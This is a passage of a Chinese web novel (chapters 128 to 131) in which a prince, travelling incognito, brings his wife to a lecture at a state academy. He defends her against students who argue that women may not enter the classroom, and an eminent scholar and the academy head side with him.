高皇帝立朝后,在大衍各地广设官学,湛京有太学,郡、国则有郡学、国学,县一级则设校,及至乡则有庠。江都国据有四郡之地,因江都为王驾所在,因而立有王国学,其余郡则立郡学,实际上比江都国学低一级。江都境内若是有条件的学子更愿意来到江都国学之中进修学习,不仅是因为国学之中师资更为雄厚,也因为此处更加靠近王驾所在。 郡学与国学合称为郡国学,在各地延请名师为学子讲学,亦不乏有其余郡县的学子奔着讲学师傅的名声而来的。江都国学之中,经师为诸讲课师傅之长,现任经师姓郑,是一位博学之士,已过知耳顺之年,在前朝时名声就不小。他经历过前朝末年的战乱,曾几番流离,曾倒在江都饿得奄奄一息,后为人所救,干脆就留在江都度过晚年了。 当初江都设学之时,时任郡守久闻其大名,亲自到家中请他出山任经师,为学子讲学。一开始这位姓郑的博学之士没有答应,耐不住郡守诚心实意,三番五次亲自来请,又能说会道,他被打动了,于是决定出山。 百里漾初来江都之时特地来见过这位郑经师,人家确实是治学大家,他还听过郑经师的讲学,与之对比太学之中的那些博士也是不差的。若非郑经师已年迈,惦念着在江都安度晚年,人家就是往太学去也是能为博士的。 “郑经师之名我亦有所耳闻,见日能听他讲学亦是一件幸事。”颜漪微微有些惊诧,由一开始的颇有兴趣转变为兴致盎然了,隐隐还有些担忧和着急,“门前不见人出入,莫不是已经开始,我们来晚了?” “不会不会,没有来晚。”百里漾连忙保证道,“我来之前特意问过,郑经师的讲课还要在两刻钟之后。新年伊始,正旦开课,国学之中很有一番仪式要过,仪式之后才是讲学。” “我听夫君安排就是。”颜漪对百里漾表示信任,心下也安定了。 百里漾感受着颜漪对他的信任,胸中顿时升起一种万丈豪情,觉得只要她开口,任何事情都为她去办到。他有点能够体会到以前历史典故所说的“冲冠一怒为红颜”、“烽火戏诸侯”的感觉了。不行不行,他怎么能够这么危险的想法。烽火戏诸侯是不可能的,他的王妃也不可能会提出什么荒诞的要求让他去做。 “我们先进去吧,提前占好位置。”百里漾算着时间,拉着颜漪就往江都国学的大门走去。 “来者何人?国学之地,闲人免进。”值守之人看到这对年轻郎君女郎朝着他们这边过来了,顿时心中一紧,但还是牢记职责上前阻拦,让他们出示凭证。 江都国学是官学,自然不是什么人想进就能进的。值守的守卫要负责查验来人的凭证以及驱离无端擅入之人。他们看得出百里漾与颜漪两人不是平常人,这国学必然是能进得的,只不过规矩就是规矩,他们不按照规矩办事若是出了什么差错,事后必然要受责罚,因此,该走的过程还是不能省的。 百里漾自然也不会因为他们的阻拦而说什么,别人的职责所在,有什么好苛责的。在出示了凭证之后,守卫没有多问直接放行了。 “夫君的凭证是从如何得来的?”颜漪看了一眼百里漾出示的凭证,却没有看真切,好奇之下问道。 百里漾携颜漪入内,给她看了通行的凭证,说道:“这是前几日让范国相写的荐书,有了它,我们今日在国学之中可以畅行无阻。” 江都国学是官学,长期在此就读的学生为官学生,他们在官府是录有学籍的,在进学期间官学生可以畅行国学,乃至可以住在国学之中的监舍之中,也就是内宿生。这些都是固定的学生,但也有不固定的学生。有些是游学到此想入内旁听的,这种时候不仅仅要证明自己的身份,还需要得到当地有名望之士或是官府的推荐才能够入内旁听了- 作者有话说:今天更少了。 第128章 讲学前 大衍开设官学, 招收天下学子入内进修研学,考核通过者即可获得授官的资格,步入仕途;或有学问精深者, 可入天下官学任讲学师傅或是自行开馆授徒。这些开馆授徒者,与官学相对应,即为私学,比之官学在许多问题上要自由很多,不过从私学学成之人并不能如官学生一般直接获得授官的资格, 还是要参加并通过官府相应的考核才行。 世人追逐功名利禄、封侯拜相是大势所趋, 官学因此尤为兴盛, 但这并不代表私学就不兴了。毕竟有些鸿儒名士不慕名利,不爱出仕就喜欢窝在山野之中, 官府征辟也不愿意应召。可他们的名气实在太大,又多是有才德之士, 慕名者不知凡几。既然山不就我,那我来就山。许多学子慕名前往那些名士的隐居之地拜师学艺, 因而成为私学生。 大衍并不禁私学, 相反还鼓励私学与官学之间进行交流, 由此大衍境内逐渐开始兴起一股游学之风。既是游学,那么各地官学时不时就会有一些外来学子想要入内听课学习,成为旁听生。荐书就是为这类人准备的。 百里漾与颜漪今日的身份就是前来旁听的外地学子,荐书是范国相亲笔所书的,加之他曾经在江都国学之中讲课,拿着他的荐书过来自然不会有人阻拦。也因为拿着范国相的亲笔荐书,国学很快来了人为二人引路,一路介绍国学之内的建筑和景致。 “拐过前面的回廊右转便是平日里学生听课的学堂了。今日是正月开课的第一日,春乃一年之始, 前头在举行开学礼,开学礼之后郑经师将会进行本年第一讲。若是不想错过,二位可先去学堂等候。” 负责领路之人乃是国学中的一名佐吏,他本应该同其他同侪一道在前头准备开学仪式以及郑经师讲学之事,忽然间来人禀报说是有人拿着范国相亲笔所书的荐书过来想要旁听郑经师讲学。一般的荐书按照流程走就是了,但这次不一样,那是范国相亲自荐过来,自然不能等闲视之,故而才有他亲自前来。 过来之后见到人,佐吏忍不住惊诧,怎么荐来的是一男一女,这是从来未有过之事啊。何况明眼人一看就知道他们是一对年轻夫妻。以往不是没有带着妻儿一道过来求学的,可学子的妻儿都安置在外面,从未有过带进国学之中来的。 佐吏心中犯难,可一想这是范国相荐过来的,范国相岂会不知这对年轻夫妻的情况。不管了,既有荐书,那么便是符合规矩的。纵使后面真出现什么问题,那也有范国相在前面顶着,他只管做好自己分内之事便是。 百里漾可不知道这引路的佐吏内心的心思百转,他忙着与颜漪介绍国学之中的建筑用途以及一些自己觉得有意思的地方。他之前来过一两次国学,对国学里面的景物记得一些,听着佐吏介绍,他自己也在旁边补充一些自己的看法。 “这地方我记着原先有颗桃树来着,那次来时正好是三月,一树桃花开得极艳,如今怎么见不着了?”行过一道小门,百里漾指着一块空地纳罕道,自己觉得是没有记错的,便将目光投向佐吏,希望他解惑。 佐吏边走边听不由暗暗心惊,这年轻学子说的竟与国学这些年的变化对得上,他之前还真是来过江都国学的。这让佐吏不由得又开始猜测百里漾和颜漪的身份,嘴上却不忘答道:“这以前确有一株桃树,每逢春三月时花开灿烂,常有学子于树下读书。只可惜去年秋末生了虫害,不到一月便蛀死了,只好令人挖去。后面一直没有定好种下什么,地方便空着了。” “那当真是可惜了。”百里漾是曾经见过那满树桃花如红云罩顶的盛景的,如今再看这光秃秃的草地皮,心中没来地升起一股怅然失落感。 “此地失一景,实在可惜。”颜漪虽然没有亲眼见过那桃红满树、落花缤纷的景象却不难想象出来,尤其是此处少了繁木的点缀之后,空寂寥落,徒留一地的荒芜,见之总以为不美。 两人只是感慨一番,并没有要对国学里面的园林规划提什么意见,毕竟他们俩今日来此的身份只是旁听讲学的外来学子,不好对人家指手画脚的,非要人家采纳的。但佐吏在旁边听着他们你一言我一语的,心中忍不住升起了一种想要听从他们的想法。 不如还是继续种桃树罢,如他们所言,桃红满天岂不美哉,树下读书更是雅事。这地方老这么秃着也怪难看的。 几人只是路过此处并没有逗留,因为算着时间前头的开学仪式快要结束了,这意味着讲学很快也要开始了,他们要尽快去到学堂占座。 因为是郑经师的讲学,又是开年第一讲,国学之内的重视可想而知。讲学地点选定在国学之中最大的一处学堂,佐吏领着百里漾与颜漪过去时已经来了一批人。一部分是国学之内的学子,他们统一穿着学子青袍很好辨认,一部分人数相对少些,衣着不一,但皆是文士打扮,想来应该也是特意前来听讲学的外来学子。 这些人聚在一起,三三两两地说着话。百里漾与颜漪的到来并不算特别引人注目,可免不了有人看到了他们,看了一眼之后还没完,忍不住一看再看。固然是因为他们生得好,人对待美好的事物总是向往居多,但也有一些人已经将眉头拧紧了。带女子进去学堂,这像什么样子。 可这些人纵使不满百里漾将颜漪一介女流带去学堂这样庄严神圣的地方,但却无人出声去做这个出头鸟。他们看得出来,这二人是被国学之中的吏员亲自领来的,那就不是一般的来听讲学的学子了,说不得拥有什么了不得的身份背景。贸然出这个头,怕是会得罪人。 百里漾只扫一眼就知道这些皱眉冷脸的人在想什么,他们冷脸,他的脸色只会更冷,同时目光一个个扫视回去,直将他们看得一个个都缩了回去。 “五郎。”颜漪察觉到周围那些不友善的目光,心中也明白他们为什么会如此。她倒是不怕的,自是看到百里漾维护她的举动、将那些目光尽皆挡住,心里不由暖意流淌。 “不怕。”百里漾以为颜漪是害怕,扭脸看她给予安抚,冷意消融,带着她寻了一处空着的位置坐下,无视周遭对他们的议论。 此间学堂是国学之中最大的一处,能够同时容纳三四百人列席听讲学。百里漾与颜漪从其中一道门进入,选的位置也偏角落,看见他们的也仅仅是一小部分人罢了,而且大部分是拿了荐书入内旁听讲学的非国学生,自己都是外来的,即便再不爽也不好出头去管人家江都国学自己的事情。 至于为什么只有少部分江都国学生在学堂之中,自然是因为大部分去前头参加开学仪式去了。他们是亲眼见着领着百里漾二人过来的人是谁,旁人不认识可能只以为他只是国学里的一个佐吏,但他其实是学监- 作者有话说:这两天更少些,上榜会更多一点。 第129章 冲突 在江都国学之中, 学监仅在祭酒、学正之下,当得是江都国学之中的第三号人物,他亲自引进来的人, 已经能够说明他乃至国学这边的态度了。 这些入学江都国学的学生以及游学的学子们大多都是奔着入仕来的,他们平日里学的是圣贤书,彼此交际往来也多是为了日后入仕做准备,不说到了人情练达、世事洞明的境界,不至于连这一点浅显的东西都看不出来。既然这事已经在学监他们那里通过了, 作为学子, 怎好去质疑他们的决定。 但总会有些人不满, 但不会因此有所行动,因为权衡利弊过不值得。况且不满的人绝对不只他一个, 总会有人耐不住站出来的,届时他只需要声援即可。持这般想法的不在少数, 还有的人则想的更多些,只是现在不宜发作, 师长们皆不在此, 总得等能过做主的人来才是。 一时之间, 好些人心思浮动,却又故作表面风平浪静。 “五郎,可否有碍?”颜漪岂会察觉不到这学堂平静之下的暗涌,朝百里漾问道。 “有碍,能有何碍?”百里漾轻拍她的手背让她宽心。不说颜漪是他的王妃,即便是任何一女子进得此门来,只要是为求得知识、虚心向学而来,他就不可能让人将其赶出去。“学无贵贱,我们为讲学受教而来, 无害于人,有何不可?” 他说这话时并没有放低声量,对周围坦然而视,一副无愧于心、无愧于人的坦荡姿态。可这副姿态落在那些不满之人眼里却是嚣张至极,打心眼里觉得这是对他们、对至圣先贤挑衅和蔑视,怒火更盛了。 有一人实在忍耐不住,朝百里漾走来,义正言辞道:“这位郎君,此处乃是江都学堂,师者传道授业、我等学子求学受教之神圣之所。你若生有一颗往圣之心、虔心向学,我们欢迎你前来,但请你不要玷污了此地、辱没了圣贤。” 有人出头,那些不满之人则快速聚拢而来,虽然没有说话,但是以站位表达了无声的支持。他们要求百里漾妥协——你来听讲学,可以,但不能将女子带入学堂。 百里漾差点气笑了,他以目安抚颜漪,表示自己能够解决此事,随后站起身目光扫视过这些人,最后停留在率先出声之人身上,镇声道:“兄台慎言,同是来听讲学之人,何以我就玷污此处、辱没圣贤了?” 之前百里漾坐在席上时没觉得有什么,如今他一站起身,健壮高大的身躯给人一种如山倾倒而来的压迫感,更有那凌然逼人的气势朝那些人压来,令他们心生畏惧,身体控制不住地想要往后退步。 百里漾不仅继承了百里氏历代出美男子的血脉基因,还继承了百里氏高壮提拔的身躯体格,况且他素来勤习武艺,多年来每日进行武课习练,少有断过,年未及冠却已经练出了一副健壮的身板,该有的肌肉都不缺,那真真是脱衣有肉穿衣显瘦,有时候他自己揽镜自照都满意的不得了。 如今站在这群平日里只读书作画、吟诗作对的学子面前那是满满的压迫感,毫不客气地说,百里漾一个能打他们全部。更别说这些年他久居高位、又数年执掌一国长期发号施令熏陶润养出通身的威严气势,甫一对上就令对方气势上就先弱了几分。 对方发现自己竟然露了怯暗暗恼恨了一番,如此一来就更不会退让了。此处是江都国学,是他们的主场,若是让一外来游学的坏了规矩,日后传出去岂不为人耻笑,令他们颜面扫地。 不可能退的。 为了以示己方的强硬,这些人气势汹汹地往前进一步以成逼迫威压之势,为首之人抬手一指百里漾身后的颜漪,“敢问兄台,此人是谁?” 百里漾将颜漪护在身后,坦然且毫不避讳道:“自是吾妻。” 因为他的回答,对方气势大涨,浑然一副拿到了把柄更加理所当然地向百里漾发难道:“既是兄台之妻,那便是女子。女子如何能进得学堂?学堂乃圣贤传道教化之地,岂容女子玷污。我观兄台气度不凡,举止有度,当是熟读圣贤之书的明理之人,岂能不知此理?请速速将汝妻带出,否则我等只好将你二人驱逐出学堂。” 此人这般话出,周围支持之人顿时异口同声地声援,更有人说道:“如今事情还未闹大,趁着祭酒等人未至,你还是速速决断,否则将受惩戒,那时便不美了。” 这些人抬出祭酒等人,如何不能算是一种威胁逼迫。只因他们认定了即便是祭酒等人知晓之事,也必然是会站在他们这边,同意他们的做法,甚至还会对百里漾这个外来游学之人进行惩戒。趁着祭酒等人未至,他们是在给百里漾一个台阶下,固执不从最后遭受责难的只会是百里漾自己。 若是换了一般的学子面对这样的集体“声讨”,对方强势,己方弱势,敌众我寡,单一力量如何与对方聚众成势的力量对抗,哪怕心里不认同对方的说法也要为之退让屈服。因为来自祭酒的惩戒是大多数志在入仕的学子所难以承受的。祭酒是官学之长,即便此祭酒非自己入学官学的祭酒,可他若是对学子做出惩处或是训诫,那是要记录在案的,学子未来的学业乃至仕途都会因此受到影响。 故而,不退也得退。因为不退的后果实是令人难以承受。 若百里漾是一般的学子,那他确实不退也只能退了。但他不是,他也庆幸自己不是。他目光扫视一圈周围的人,有看热闹不关己事的,有虽未出声但紧皱眉头赞同驱逐的,少部分是不赞同却选择明哲保身的,谁都有自己的心思和顾虑,这并不奇怪。 百里漾的目光最后定在了站出来要驱逐他之人身上,一眼看去足有五六人,为首之人二十来岁,穿着江都国学生的袍服,方脸阔目,面容周正,眉心有一道深刻的折痕,此刻正瞪视着百里漾,好似在看什么十恶不赦的罪人。立于他身后左右的也都是江都国学生,俨然一副以他为首的拱卫姿态。 看得出来这些人并非是只在此次事件之中以之为首,而是平日里这群人就形成了以之为首的小团体,那么此人大概率会有一个相当不错的出身,恐怕更有可能是世族之后。 这也不难理解,毕竟大衍开设官学不足三十年,即便有出身贫寒的学子凭借自身努力考上各地官学,那在官学之中也只是少数,真正占多数的还是那些凭借着家世出身就已经领先一大截的世族官僚之子,他们一开始就划分了阵营、强弱。而对于“准不准女子进入学堂”这种问题,平民学子总是不如那些世族子弟那么在乎与坚持的。 “我有何错,我妻又有何错,你等有何资格驱逐我们出学堂?”别人面对这些迂腐顽固不化的学子会退,百里漾怎么可能会退,否则他如何对得起今日带王妃出来听讲学的承诺、如何对得起他活过的上一世。 不给女子入学堂,剥夺她们获得知识的途径和资格? 别的地方他管不到,他看不见的地方也管不了,但是在江都,他得让知道这地界上到底谁说了算。 对方之人都惊住了,他们怎么也没有想到话都说到这份上了,百里漾竟然还拒绝认错,甚至对女子不能进入学堂表达了公然的否认,这让他们勃然大怒。 “女子粗鄙浅薄,实乃污秽之人,如何进得学堂这等圣洁之地。我看你是枉读圣贤之书,竟然连这点道理都不知晓。原先你若知错能改,此事便揭过不再与你为难。可你不听劝阻,死不悔改,休怪我等将此事告知祭酒,将你惩处。”那为首的世族子怒不可遏道。 身边的支持者亦是目如喷火,好似与百里漾结下了什么血海深仇一般。他们当即叫人去请国学之中的学监等人过来处置了。 这事情眼看着就要闹大了。 围观之人面色微变,尤其是那些旁听讲学的外来之人。毕竟百里漾现在的身份也与他们一样,从身份上来说,他们于江都国学都是外来人。有些人不免担心因为百里漾的举动而影响到他们这些旁听的外来学子。 “兄台算了吧,此处毕竟是江都国学的地盘,我等游学到此,当入乡随俗。将事情闹大了,于你也无半点好处,何必争这一时之气。”有人看不下去了,出来劝百里漾忍一时之气。 在场的人除百里漾与颜漪外都赞同“女子不得进入学堂”的言论么?恐怕不见得。即便是江都国学生之中都会有人不赞成这种观点。大家都不是天生地养的,有生养自己的母亲,还有姊妹,甚至还有妻子与女儿。这种贬低女子的言论一下子就将他们的所有女性亲眷包括进去了,这让他们心中如何能高兴。 只是如今势不如人,强龙也不好去压地头蛇啊,还是在这种问题上。更多的人其实心里反驳此类言论,但是他们没有把握站在上层的师长与贵人如何看待这个问题,贸然出来站位,皆是极有可能倒霉的就不止一两人了。 他们不像那些个出身世族大家的人有那么多的后路可以选,他们眼前可以看到的有且只有这一条路,谁也不会轻易拿自己的前途去赌- 作者有话说:更新了,求评论[可怜] 第130章 固执 人之常情, 无可厚非。 那些站出来要驱逐百里漾与颜漪出学堂的江都国学生原先是打定了主意要让百里漾为自己的荒诞愚蠢付出代价。他们本是打算依靠众人之力将人轰出学堂,但思来想去觉得此举不甚妥当。在学堂动武未免有辱斯文,还有不敬圣贤先师之嫌。国学之中自有规纪, 报与祭酒等人知晓,由他们来处置最为合宜。 当然,为首的国学生是绝对不会承认他们不知为何是内心对百里漾是隐隐犯怵的,有种己方所有人全部一拥而上也打不过的预感。届时若是真的打不过被全部撂翻,这学堂之内不仅有江都国学的同窗还有外来游学旁听的学子, 这脸恐怕不止在江都境内丢尽, 还得丢到江都之外的其他地方去。 读书人, 名声有时候比性命都重要。 眼看着闹到要去请祭酒等人来处置了,原本看热闹的那群人也不太坐得住了, 出于学生对师长以及对国学内掌握他们“生杀大权”的祭酒等人的畏惧,即便觉得事不关己, 心里免不了有点慌。有些人心慌是担心会不会牵连到自己,少部分人则是为百里漾担心。这种事情如果只在私底下学子群体之中闹闹还不算什么, 可若是闹到连祭酒等人都知道, 哪怕最后双方都想息事宁人都不可能了。 “兄台, 兄台,你就服个软吧,为这一时之气不值得。”百里漾感觉自己的衣袍被人扯了一下,本以为是王妃,扭过头一看竟是一个年纪约在二十出头的江都国学生,他见百里漾看过来,仍低声劝道,“你苦读多年,若是因此使得前途受毁, 你的亲眷也会为你感到难过的。” 这声音颇有点熟悉,在此前也出现过劝他“敌众我寡,忍一忍就过了”。这次依旧是他来劝百里漾,看样子还是冒了不小的风险,连声音都是刻意压低的。百里漾能够觉察出他的好意,他是真的担心百里漾会因此受到祭酒等人的责罚从而毁了前途的。 “兄台的好意我心领了,只是于我而言,这不是意气之争。”百里漾领受了这个国学生的好意,扫视一圈,即便是以一人抗众人也凛然不惧,“我不认可‘女子低贱鄙陋,不可入学堂’之说,这是我心中的坚持,岂能因畏缩而更改。” “你怎么犟得跟头驴似的。”眼见好说歹说都劝不动,这人还是要固执地一根筋要刚到底,这国学生也是彻底没有法子了,最后冲口而出道了一句。 生平头一回被人骂“犟驴”的百里漾被骂得有点愣住了,倒也没有生气,只是更多的是愕然。随即他就听到了一道不是很明显的轻笑声,循声看去,却是颜漪以袖掩唇,别的都与平日无异,只是那一双盈满了笑意的眼眸看了令人无奈。 事态都如此危急竟还有心情调笑,这国学生看着真是满心无力。 不对,等等。 不会没有人不知道这件事情若是闹到祭酒那些人处会是什么结果。可为什么这位“勇士”似乎一点都不惧怕那些人将祭酒等人请来,难不成是真的是自信觉得自己能够辩赢祭酒在内的那些人?不,不可能的。国学里比卢绽他们还要顽固不化的讲学师傅有的是,乃至祭酒他们的态度也差不多,怎么可能辩得过他们。 既然辩不过,那么受惩处就是不可避免的。可这位“勇士”俨然一副不怕惩处的模样,总不可能是坚持心中所想真的“死猪不怕开水烫”吧?不不不,国学生心中又否定了这个猜想。 一个人遇事不惧,最有可能的就是他身有底气。 是了,从事情开始发展到现在,他们在场之人连这位“勇士”姓甚名谁都不知道,只知道他是持荐书入得国学来要旁听郑经师讲学的外来学子。对了,好像这人还是学监亲自领过来的。这一切都说明了,这位“勇士”恐怕是来历不凡啊。 思及此,这名国学生的目光几度闪烁,最后选择退了回去。 而其他人也很快意识到了这一点。 力主驱逐百里漾二人的几人也有些不确定了。此前事态变化得太过迅速,他们也没有想到百里漾态度会如此强硬,一点错都不肯认,致使他们的怒火一直在攀升,局面几乎是瞬间就发展到要请祭酒等人过来主持的地步了。 几人因为百里漾过于气定神闲而生出了几分惊疑不定,若是对方真的大有来头,那他们岂不是要得罪人了。若是对方背后来头太大,恐怕他们也吃罪不起。一时之间,他们左右顾盼拿不定主意,最终都将目光投向己方的话事人。 他们的话事人即是驳斥百里漾之人,他是世族卢氏出身,在权衡利弊、察言观色等方面比之平民出身的同窗无疑要优越许多。这时他也缓过劲来了,对方如此强硬做派显然是背后有所倚仗,可他却从未听说过此人,即便有外地游学来此,他也该有所耳闻才是。 不止是此人,便是此人之妻在如此场合之下竟也丝毫不显慌乱,面容沉静,平淡如水。如此气定神闲,好似此刻被群起而攻之的不是他们。他们实在是太稳了,稳到让人感觉一切尽在其掌握之中似的。 局面突然一下子反过来似的,现在反倒是自己无端产生了一种心慌的感觉。 目光几度闪烁过后,卢绽下了决断,对百里漾说道:“仁兄,你我皆是多年苦读才至今日,殊为不易,合该珍惜才是。今日你我主张殊异,可谁是谁非,古来先贤早有论断,你何必固执。今日乃我江都国学本年开课第一日,稍后更是有郑经师为我等讲学,师长们诸事繁忙,不如你我各退一步,仁兄请尊夫人暂且移步学堂之外等候,我等也不必惊动祭酒他们。” 卢绽是想到百里漾背后可能存在的倚仗,到现在他才惊觉自己对面前这个人几乎一无所知。他心有顾忌以至开始踌躇,最终决定“各退一步”。 对方真若是来历不凡,他们这边请了祭酒过来处置此事,不管结果如何最后势必会得罪对方。即便卢绽在卢氏之内的地位不低,可若是因他致使家族与其他势力对上而蒙受损失或结上强敌,事后他也绝对讨不了好。故而,此事的处置还是稳妥些好。 卢绽态度的软化从对百里漾的称呼从一句冷硬的“兄台”到好言好语的“仁兄”就可见一斑了,更别提他还主动提出了让步,这让在场其余的江都国学生觉得诧异无比。但不管怎样,现在有人先退了一步,一些人觉得百里漾应该见好就收了。 于是有不少之前作壁上观的国学生乃至旁听的游学生站出来劝百里漾,不要讲事情闹大,这样对谁都没有好处。怎么说你也是相当于是江都国学做客的,今日也算得上是江都国学的好日子,你硬是揪着一个问题不放跟搅局有什么区别。 一下子劝百里漾的人不少,可是之前劝百里漾“忍一时之气”的那个国学生却没有在这群人之中。 一群人包括卢绽自己也觉得彼此“各退一步,海阔天空”,但百里漾不这么觉得。这算什么各退一步。从一开始对方要求他的妻子退出学堂到驱逐他们二人出学堂再到现在的依旧是要求他的妻子退出学堂,只不过多了一个附加条件是不将此事禀报祭酒等人。等于是别人进了一步,他原地不动,到最后要各退一步的时候,只有他才是真正的退了一步。 百里漾似笑非笑,看着众人说道:“诸位皆言彼此各退一步,怎么到头来只有我才是真正退了一步。”真若是让王妃退出学堂了,无异于自己认可了女子不能进学堂。 这件事情根本没有说清楚,他也不愿意让王妃退出学堂。说好了今日一道来听讲学的,算得上是他们之间难得的约会项目,只有他一人去听算什么。 他不愿意退一步,让卢绽等人彻底恼了。卢绽更是怒道:“说来说去,我看你是存心来搅局的。既然你不识抬举,休怪我等无情了。” 百里漾道:“看来你等是笃定了此事报到祭酒那里,我必然会因此受到惩处。” “难不成祭酒、师长他们会认同你这一套歪理邪说。”卢绽满脸怒容,事态发展到这一步已经由不得他顾忌那么多了,斥道,“男耕女织,男外女内,此循天之理也。……君子于外治国平天下,女子则当安于内闱,教以妇德,习以女红,勤俭持家,相夫教子,使男子无后顾之忧。如此阴阳守序,天下方可大安。” 言下之意便是女子若是读书便是乱了男女本分,如此阴阳失调,秩序不在,天下便会大乱。因此,女子是万万不能进入学堂的。 百里漾看着卢绽因为怒斥而通红的脸,半晌后摇了摇头,“我只知学无贵贱,既无高下之分,也无男女之别。高皇帝曾言,有心向学者,无人不可学。” “大赞!”一侧突然传来的声音让众人俱是一惊,随后便见一衣袂飘飘看着气质颇为洒脱的老者排众走出,他径直走到百里漾面前,手捋一截长须说道,“你此一言,便抵万金。我之学堂,有心向学者,皆可前来。” “学生拜见经师。”且先不提这老者的话在众人心中引发了怎样的涛浪,光是看见他,在场的江都国学生皆躬身下拜喊道- 作者有话说:更新了,求评论[可怜] 130-140 第131章 不服 在国学之中, 通晓诸经学典籍乃至律法者为诸讲课师傅之首,又有“经师”之称,或许在官员品级上, 经师不如祭酒、学正之流,但在文界的地位却是与祭酒齐平,乃至超过祭酒。江都国学的经师姓郑,他不止在江都境内极有名气,乃至放眼整个大衍朝, 他都是极有名望的名士。他当众亲口肯定并对百里漾关于“学无贵贱”的话进行了褒扬, 这其中的份量可想而知, 其他人就算再有异议和不满也提不出来了。 “后生,你年纪轻轻就有如此认识与觉悟, 已超出他人远矣。”郑经师来到百里漾的面前,看看他又看看颜漪, 笑得眼睛都眯起来,“小女娃嫁得如此郎君, 日后遇事也完全不必怕了。” 虽然当众之下有些羞赧, 但颜漪还是坦然道:“嫁得夫君, 是我之幸。” “亦是我之幸。”百里漾亦说道。 郑经师大概看百里漾实在是顺眼,一会儿又觉得他有点眼熟,好像在哪里见过似的,可是一时半会儿的却完全想不起来,好在他向来随性洒脱,想不起来就不想了。随后他目光往四下一扫,在卢绽等人身上停留的时间稍久些,甩袖冷哼一声便不去看他们。 他现在最感兴趣的人是百里漾,这个后生说话好听, 没有世族那些人身上的讨厌之气,今日对上这些人都能凛然不惧、遇强不退,很好,很好。在江都难得遇到这么一个看着哪哪都顺眼的年轻人,听说还是专程为了听他的讲学来的,好,更好了。 郑经师一连问了百里漾读过什么书、在何处就读等等问题,并没有注意到百里漾面上颇有点古怪的神色。原因无他,他当初来江都国学时是见过郑经师的,每次他来,祭酒等人包括郑经师在内都是要来拜见他的,结果见过他两三次的人面对面竟然也认不出他。 百里漾诧异了会儿就理解了。 郑经师的年纪在这个时代已经算得上是长寿了,作为老年人中的老年人,视力变差是必然的事情,记忆力也不会如年轻时好,加上百里漾这几年正是从少年到青年的过渡,体貌变化有些大,一时之间认不出来是很正常的。 前脚郑经师先至,后脚紧跟着祭酒、学监等人,然而到底还是晚了一步,等他们来到学堂时见到的就是郑经师大力拍着百里漾的肩膀大笑着说“后生,你很好”的场景,再定睛一看,那年轻人的面孔怎如此熟悉,顿时眼前一黑又一黑。 大王带着王妃微服前来江都国学,他们事先一点也不知道就罢了,那些个不知轻重的学生竟然在学堂闹着非要驱逐大王与王妃出去,这叫个什么事啊。还有你郑经师,别人没见过大王也就算了,你好歹也是见过的,人都到跟前眼睛还跟糊住似的认不出? “祭酒、学监来了。” 不知道谁喊了一声,学堂之中的人纷纷用目光去搜寻二者的存在,很快便找到了刚跨入门槛不久、一身正服的祭酒与学监等人,一群人纷纷噤声站好。 百里漾的目光也看了过去,双方目光对视,祭酒等人连忙要行参拜之礼,被他用目光制止。祭酒等人连忙撤回一个参拜,只好装作与百里漾素不相识。可看着大王与王妃给自己拱手作礼,那心肝差点都要一齐从嗓子眼里挤出来了。 学监是这两年才上任的,以他的官阶基本上没有机会受到江都王的单独召见,巧的是自他来到江都国学之后,江都王都未曾亲临,故而他也就没有亲眼见过江都王的样貌。今日他只是出于谨慎亲自招待了带范国相荐书过来旁听的外来学子,哪里会想得到这就是江都王夫妇俩。他疯狂反复仔细回想带路的那一段自己有没有什么不妥之处,还好没有,松了一口气。 可是这气刚松下去,一颗心马上又提到嗓子眼了。 该死的,他怎么也没有想到,自己将人送到学堂,前脚刚走,后脚就闹出了这样的事情。卢绽那些人真是胆大包天,竟然聚众意图将微服私访的大王与王妃撵出学堂。他是怎么敢的啊,卢氏给他的胆子么? 其实祭酒与学监等人并非是接到了卢绽那些人的举报才来的,而是学监思来想去觉得有必要将“有一外来学子带了范国相手书的荐书携其妻进入国学旁听讲学”这件事知会祭酒等人一声,若是真有个什么,他们也好拿主意。 谁能想到祭酒闻听此事当即大惊失色,连忙向他追问两人的相貌,等他描述之后,祭酒整个人却如同镇住了一般,然后斥道:“此事你为何当时不来报我?” 学监懵了,但很快也意识到那对学子夫妻恐怕不简单,脑门冒汗的同时脑子里灵光一现闪过一个念头,忙向祭酒求证,“祭酒,那二位该不会是大王与王妃吧?” 祭酒给了他一个“你还算聪明”的眼神。 随后一群人就匆匆朝着学堂赶来,在半路遇上了学生,说是有人在学堂闹事,请他们过去处置。他们当时就有一种不祥的预感,再细问,顿时眼前一黑,脚下的步子加快,就差没有跑出火星了。 他们已经是尽快赶过来了,却没有想到郑经师来的比他们还要快。也是,前头的开学仪式郑经师又不需要守完整个全程,他只需要露个面即可,后面还有他的讲学,比他们更快来到学堂也属正常。 可是,你来到学堂之后做了什么啊?! 祭酒觉得今日的惊吓实在是太多了,饶是他自认身体素质在不惑之年中算是康健的这时候也有点受不住了。今日结束之后必须得回家整两盅缓一缓。 眼下大王并没有暴露身份的意思,那他们就不能去拆穿。祭酒目光四下一扫过在场的人,尤其是卢绽等人,心下对如何处理此事已有了主意。 祭酒目视众人,“何故于此聚集闹事,不知道此处是何地么?国学乃是求学之地,学堂更是如此。尔等的身份是什么?是学生。尔等该反思,今日之言行可曾尽到自己作为学生的本分。师长不至,是谁给你们的胆子和权力竟敢代行驱逐事?” “往日里我与尔等师长是如何教导尔等的?江都国学之门永远为天下有向学之心的学子而大开,如今你们竟要倚仗身份行驱赶之事。尔等之德行操守可对得起亲长的教诲?” 卢绽等人被他凌厉的目光一扫,瞬间有种被刺痛的感觉,浑身都不自在,站立不安。可卢绽不服,郑经师那怪老头也就罢了,他向来不喜世族之人,可祭酒这些人是怎么回事,一来就直接与郑经师站同一边,用如此严厉的话来责备他们。 “怎么,看你的样子似是不服?”祭酒看向卢绽问道。 “是,学生不服。”卢绽一咬牙说道。 “你有何不服?”祭酒没有想到卢绽还敢跳出来,顾及着在场的不只有江都国学的学生,还有一些从江都之外赶来的学子,甚至大王还在这里看着,那就给他一个机会让他死个明白。 卢绽道:“学生并非执意要驱逐他们二人出学堂。一开始只是想请其妻在学堂之外暂候,是他坚持不肯,还与学生等人狡辩‘女子进入学堂’之问题,学生等不敢擅专,这才遣人去请师长们过来主持公道。” “你们争执的缘由经过我已知晓,话我也说了,但你仍出来说这么一番话,显然是觉得我的处置不公了?”祭酒耐心逐渐告罄。 “女子本不该进入学堂,此古来之理也。”卢绽感觉到所有人的目光都落在自己身上,依旧咬牙坚持自己的看法,他的说法还是之前与百里漾辩驳的那些,女子进入学堂是乱男女本分,终将使得阴阳、天下失安。“学生不认为自己在此问题上有错,只多是在处置上过于偏激。” 